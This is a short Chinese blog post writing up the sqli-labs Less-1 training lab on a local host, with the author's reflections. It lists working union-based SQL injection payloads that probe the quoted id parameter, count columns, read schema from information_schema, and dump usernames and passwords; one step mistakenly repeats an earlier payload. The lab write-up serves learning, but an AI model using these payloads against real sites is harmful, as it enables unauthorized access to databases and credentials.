1. sqli-labs学习 less-01

0x00 过程

  1. 添加id参数,回写正常
payload:http://127.0.0.1/sqli_labs/Less-1/?id=1
  1. 寻找注入点
    2.1 添加 1' 进行测试

    刚开始没明白图中引号的对应关系,应该是' '1'' limit 0,1 ',此处固定两边是单引号,中间为错误位置的语句。可自行在观察如下语句报错信息,应该很快就明白了。

    select * from users where id='1'' limit 0,1;
    select * from users where id="1'" limit 0,1;
    
  2. 注入

    由第二步可以确认id是由单引号进行包含,使用如下payload 确定是否存在注入点

    http://127.0.0.1/sqli_labs/Less-1/?id=1' and 1=1 --+
    http://127.0.0.1/sqli_labs/Less-1/?id=1' and 1=2 --+
    

    当第一个payload 正常显示,第二个无显示时,确定注入存在。

    3.1 联合注入

    观察页面发现不同的id回显不同,emm 目前感觉这种比较好操作

    尝试过程

    1. payload: http://127.0.0.1/sqli_labs/Less-1/?id=1' group by 4 --+确定列数,最终列数为3.

    2. payloadhttp://127.0.0.1/sqli_labs/Less-1/?id=-1' union select 1,2,3 --+ 确定列出现的位置。

    3. 获取数据库信息,名,列名,数据

    数据库名
    http://127.0.0.1/sqli_labs/Less-1/?id=-1' union select 1,database(),user() --+
    表名  由上可得到数据库中的几个表
    http://127.0.0.1/sqli_labs/Less-1/?id=-1' union select 1,database(),user() --+
    字段名  由上可得到users表的字段名
    http://127.0.0.1/sqli_labs/Less-1/?id=-1' union select 1,database(),group_concat(column_name) from information_schema.columns where table_name='users' --+
    获取数据  字段名,表名都有了
    http://127.0.0.1/sqli_labs/Less-1/?id=-1' union select 1,group_concat(username),group_concat(password) from users --+
    

0x01 思考

  1. 注入点:在这个题中,已经明确给出了注入点为id参数。但是实际工作中面对大量参数如何快速找到有可能存在的注入点呢?emm 一个高效可靠的工具是个很好的选择,但是我现在不知道。
  2. 注入漏洞是否存在,这个其实同上。但是如何判断这个点存在有效的注入漏洞?刚开始因为瞎搞,经常会被mysql的自动类型转换搞蒙。我没找到特别合适的博客,下次自己写一个。
posted @ 2021-08-12 16:50  老人与海的程序员  阅读(68)  评论(0)    收藏  举报